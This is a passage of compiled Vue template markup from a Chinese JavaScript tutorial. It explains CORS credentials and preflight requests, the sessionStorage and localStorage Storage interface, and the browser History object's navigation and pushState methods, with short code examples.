"),s("p",[t._v("但是，有的浏览器默认将"),s("code",[t._v("withCredentials")]),t._v("属性设为"),s("code",[t._v("true")]),t._v("。这导致如果省略"),s("code",[t._v("withCredentials")]),t._v("设置，这些浏览器可能还是会一起发送 Cookie。这时，可以显式关闭"),s("code",[t._v("withCredentials")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("xhr"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("withCredentials "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("false")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("需要注意的是，如果服务器要求浏览器发送 Cookie，"),s("code",[t._v("Access-Control-Allow-Origin")]),t._v("就不能设为星号，必须指定明确的、与请求网页一致的域名。同时，Cookie 依然遵循同源政策，只有用服务器域名设置的 Cookie 才会上传，其他域名的 Cookie 并不会上传，且（跨域）原网页代码中的"),s("code",[t._v("document.cookie")]),t._v("也无法读取服务器域名下的 Cookie。")]),t._v(" "),s("h3",{attrs:{id:"_4、非简单请求"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_4、非简单请求"}},[t._v("#")]),t._v(" 4、非简单请求")]),t._v(" "),s("h4",{attrs:{id:"_4-1-预检请求"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_4-1-预检请求"}},[t._v("#")]),t._v(" 4.1 预检请求")]),t._v(" "),s("p",[t._v("非简单请求是那种对服务器提出特殊要求的请求，比如请求方法是"),s("code",[t._v("PUT")]),t._v("或"),s("code",[t._v("DELETE")]),t._v("，或者"),s("code",[t._v("Content-Type")]),t._v("字段的类型是"),s("code",[t._v("application/json")]),t._v("。")]),t._v(" "),s("p",[t._v("非简单请求的 CORS 请求，会在正式通信之前，增加一次 HTTP 查询请求，称为“预检”请求（preflight）。浏览器先询问服务器，当前网页所在的域名是否在服务器的许可名单之中，以及可以使用哪些 HTTP 方法和头信息字段。只有得到肯定答复，浏览器才会发出正式的"),s("code",[t._v("XMLHttpRequest")]),t._v("请求，否则就报错。这是为了防止这些新增的请求，对传统的没有 CORS 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line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Access"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Control"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Allow"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Origin"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("*")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("如果服务器否定了“预检”请求，会返回一个正常的 HTTP 回应，但是没有任何 CORS 相关的头信息字段，或者明确表示请求不符合条件。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("OPTIONS")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("http")]),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br")])]),s("p",[t._v("上面的服务器回应，"),s("code",[t._v("Access-Control-Allow-Origin")]),t._v("字段明确不包括发出请求的"),s("code",[t._v("http://api.bob.com")]),t._v("。")]),t._v(" "),s("p",[t._v("这时，浏览器就会认定，服务器不同意预检请求，因此触发一个错误，被"),s("code",[t._v("XMLHttpRequest")]),t._v("对象的"),s("code",[t._v("onerror")]),t._v("回调函数捕获。控制台会打印出如下的报错信息。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("XMLHttpRequest cannot load http"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("api"),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("服务器回应的其他 CORS 相关字段如下。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Access"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Control"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Allow"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Methods"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("GET")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("POST")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("PUT")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("cors "),s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("HTTP")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("1.1")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("Origin")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" http"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("api"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("bob"),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br")])]),s("p",[t._v("上面头信息的"),s("code",[t._v("Origin")]),t._v("字段是浏览器自动添加的。")]),t._v(" "),s("p",[t._v("下面是服务器正常的回应。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("Access"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Control"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Allow"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),t._v("Origin"),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("上面头信息中，"),s("code",[t._v("Access-Control-Allow-Origin")]),t._v("字段是每次回应都必定包含的。")]),t._v(" "),s("h3",{attrs:{id:"_5、与-jsonp-的比较"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_5、与-jsonp-的比较"}},[t._v("#")]),t._v(" 5、与 JSONP 的比较")]),t._v(" "),s("p",[t._v("CORS 与 JSONP 的使用目的相同，但是比 JSONP 更强大。JSONP 只支持"),s("code",[t._v("GET")]),t._v("请求，CORS 支持所有类型的 HTTP 请求。JSONP 的优势在于支持老式浏览器，以及可以向不支持 CORS 的网站请求数据。")]),t._v(" "),s("h2",{attrs:{id:"八、storage-接口"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#八、storage-接口"}},[t._v("#")]),t._v(" 八、Storage 接口")]),t._v(" "),s("h3",{attrs:{id:"_1、概述-4"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1、概述-4"}},[t._v("#")]),t._v(" 1、概述")]),t._v(" "),s("p",[t._v("Storage 接口用于脚本在浏览器保存数据。两个对象部署了这个接口："),s("code",[t._v("window.sessionStorage")]),t._v("和"),s("code",[t._v("window.localStorage")]),t._v("。")]),t._v(" "),s("p",[s("code",[t._v("sessionStorage")]),t._v("保存的数据用于浏览器的一次会话（session），当会话结束（通常是窗口关闭），数据被清空；"),s("code",[t._v("localStorage")]),t._v("保存的数据长期存在，下一次访问该网站的时候，网页可以直接读取以前保存的数据。除了保存期限的长短不同，这两个对象的其他方面都一致。")]),t._v(" "),s("p",[t._v("保存的数据都以“键值对”的形式存在。也就是说，每一项数据都有一个键名和对应的值。所有的数据都是以文本格式保存。")]),t._v(" "),s("p",[t._v("这个接口很像 Cookie 的强化版，能够使用大得多的存储空间。目前，每个域名的存储上限视浏览器而定，Chrome 是 2.5MB，Firefox 和 Opera 是 5MB，IE 是 10MB。其中，Firefox 的存储空间由一级域名决定，而其他浏览器没有这个限制。也就是说，Firefox 中，"),s("code",[t._v("a.example.com")]),t._v("和"),s("code",[t._v("b.example.com")]),t._v("共享 5MB 的存储空间。另外，与 Cookie 一样，它们也受同域限制。某个网页存入的数据，只有同域下的网页才能读取，如果跨域操作会报错。")]),t._v(" "),s("h3",{attrs:{id:"_2、属性和方法"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2、属性和方法"}},[t._v("#")]),t._v(" 2、属性和方法")]),t._v(" "),s("p",[t._v("Storage 接口只有一个属性。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("Storage.length")]),t._v("：返回保存的数据项个数。")])]),t._v(" "),s("div",{staticClass:"language-javascript line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-javascript"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("localStorage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setItem")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'foo'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'a'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nwindow"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("localStorage"),s("span",{pre:!0,attrs:{class:"token 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"),s("p",[s("code",[t._v("Storage.setItem()")]),t._v("方法用于存入数据。它接受两个参数，第一个是键名，第二个是保存的数据。如果键名已经存在，该方法会更新已有的键值。该方法没有返回值。")]),t._v(" "),s("div",{staticClass:"language-javascript line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-javascript"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("sessionStorage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setItem")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'key'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'value'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nwindow"),s("span",{pre:!0,attrs:{class:"token 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line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-javascript"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("sessionStorage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setItem")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("3")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("foo")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token 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line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-javascript"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 下面三种写法等价")]),t._v("\nwindow"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("localStorage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("foo "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'123'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nwindow"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("localStorage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'foo'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br")])]),s("h4",{attrs:{id:"_2-2-storage-getitem"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-2-storage-getitem"}},[t._v("#")]),t._v(" 2.2 Storage.getItem()")]),t._v(" "),s("p",[s("code",[t._v("Storage.getItem()")]),t._v("方法用于读取数据。它只有一个参数，就是键名。如果键名不存在，该方法返回"),s("code",[t._v("null")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-javascript line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-javascript"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("sessionStorage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getItem")]),s("span",{pre:!0,attrs:{class:"token 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Storage.removeItem()")]),t._v(" "),s("p",[s("code",[t._v("Storage.removeItem()")]),t._v("方法用于清除某个键名对应的键值。它接受键名作为参数，如果键名不存在，该方法不会做任何事情。")]),t._v(" "),s("div",{staticClass:"language-javascript line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-javascript"}},[s("code",[t._v("sessionStorage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("removeItem")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'key'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nlocalStorage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("removeItem")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"language-javascript line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-javascript"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("sessionStorage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("setItem")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'key'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'value'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nwindow"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("sessionStorage"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token 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punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("key")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("i"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("h3",{attrs:{id:"_3、storage-事件"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3、storage-事件"}},[t._v("#")]),t._v(" 3、storage 事件")]),t._v(" "),s("p",[t._v("Storage 接口储存的数据发生变化时，会触发 storage 事件，可以指定这个事件的监听函数。")]),t._v(" "),s("div",{staticClass:"language-javascript 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"),s("h2",{attrs:{id:"九、history-对象"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#九、history-对象"}},[t._v("#")]),t._v(" 九、History 对象")]),t._v(" "),s("h3",{attrs:{id:"_1、概述-5"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_1、概述-5"}},[t._v("#")]),t._v(" 1、概述")]),t._v(" "),s("p",[s("code",[t._v("window.history")]),t._v("属性指向 History 对象，它表示当前窗口的浏览历史。")]),t._v(" "),s("p",[t._v("History 对象保存了当前窗口访问过的所有页面网址。下面代码表示当前窗口一共访问过3个网址。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("history"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("length "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 3")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("由于安全原因，浏览器不允许脚本读取这些地址，但是允许在地址之间导航。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 后退到前一个网址")]),t._v("\nhistory"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("back")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 等同于")]),t._v("\nhistory"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("go")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br")])]),s("p",[t._v("浏览器工具栏的“前进”和“后退”按钮，其实就是对 History 对象进行操作。")]),t._v(" "),s("h3",{attrs:{id:"_2、属性"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2、属性"}},[t._v("#")]),t._v(" 2、属性")]),t._v(" "),s("p",[t._v("History 对象主要有两个属性。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("History.length")]),t._v("：当前窗口访问过的网址数量（包括当前网页）")]),t._v(" "),s("li",[s("code",[t._v("History.state")]),t._v("：History 堆栈最上层的状态值（详见下文）")])]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 当前窗口访问过多少个网页")]),t._v("\nwindow"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("history"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("length "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 1")]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// History 对象的当前状态")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 通常是 undefined，即未设置")]),t._v("\nwindow"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("history"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("state "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// undefined")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("h3",{attrs:{id:"_3、方法"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3、方法"}},[t._v("#")]),t._v(" 3、方法")]),t._v(" "),s("h4",{attrs:{id:"_3-1-history-back-、history-forward-、history-go"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-1-history-back-、history-forward-、history-go"}},[t._v("#")]),t._v(" 3.1 History.back()、History.forward()、History.go()")]),t._v(" "),s("p",[t._v("这三个方法用于在历史之中移动。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("History.back()")]),t._v("：移动到上一个网址，等同于点击浏览器的后退键。对于第一个访问的网址，该方法无效果。")]),t._v(" "),s("li",[s("code",[t._v("History.forward()")]),t._v("：移动到下一个网址，等同于点击浏览器的前进键。对于最后一个访问的网址，该方法无效果。")]),t._v(" "),s("li",[s("code",[t._v("History.go()")]),t._v("：接受一个整数作为参数，以当前网址为基准，移动到参数指定的网址，比如"),s("code",[t._v("go(1)")]),t._v("相当于"),s("code",[t._v("forward()")]),t._v("，"),s("code",[t._v("go(-1)")]),t._v("相当于"),s("code",[t._v("back()")]),t._v("。如果参数超过实际存在的网址范围，该方法无效果；如果不指定参数，默认参数为"),s("code",[t._v("0")]),t._v("，相当于刷新当前页面。")])]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("history"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("back")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nhistory"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("forward")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nhistory"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("go")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("-")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("2")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[s("code",[t._v("history.go(0)")]),t._v("相当于刷新当前页面。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("history"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("go")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("0")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 刷新当前页面")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("注意，移动到以前访问过的页面时，页面通常是从浏览器缓存之中加载，而不是重新要求服务器发送新的网页。")]),t._v(" "),s("h4",{attrs:{id:"_3-2-history-pushstate"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-2-history-pushstate"}},[t._v("#")]),t._v(" 3.2 History.pushState()，")]),t._v(" "),s("p",[s("code",[t._v("History.pushState()")]),t._v("方法用于在历史中添加一条记录。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("history"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("pushState")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("state"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" title"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" url"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("该方法接受三个参数，依次为：")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("state")]),t._v("：一个与添加的记录相关联的状态对象，主要用于"),s("code",[t._v("popstate")]),t._v("事件。该事件触发时，该对象会传入回调函数。也就是说，浏览器会将这个对象序列化以后保留在本地，重新载入这个页面的时候，可以拿到这个对象。如果不需要这个对象，此处可以填"),s("code",[t._v("null")]),t._v("。")]),t._v(" "),s("li",[s("code",[t._v("title")]),t._v("：新页面的标题。但是，现在所有浏览器都忽视这个参数，所以这里可以填空字符串。")]),t._v(" "),s("li",[s("code",[t._v("url")]),t._v("：新的网址，必须与当前页面处在同一个域。浏览器的地址栏将显示这个网址。")])]),t._v(" "),s("p",[t._v("假定当前网址是"),s("code",[t._v("example.com/1.html")]),t._v("，使用"),s("code",[t._v("pushState()")]),t._v("方法在浏览记录（History 对象）中添加一个新记录。")]),t._v(" "),s("div",{staticClass:"language-js 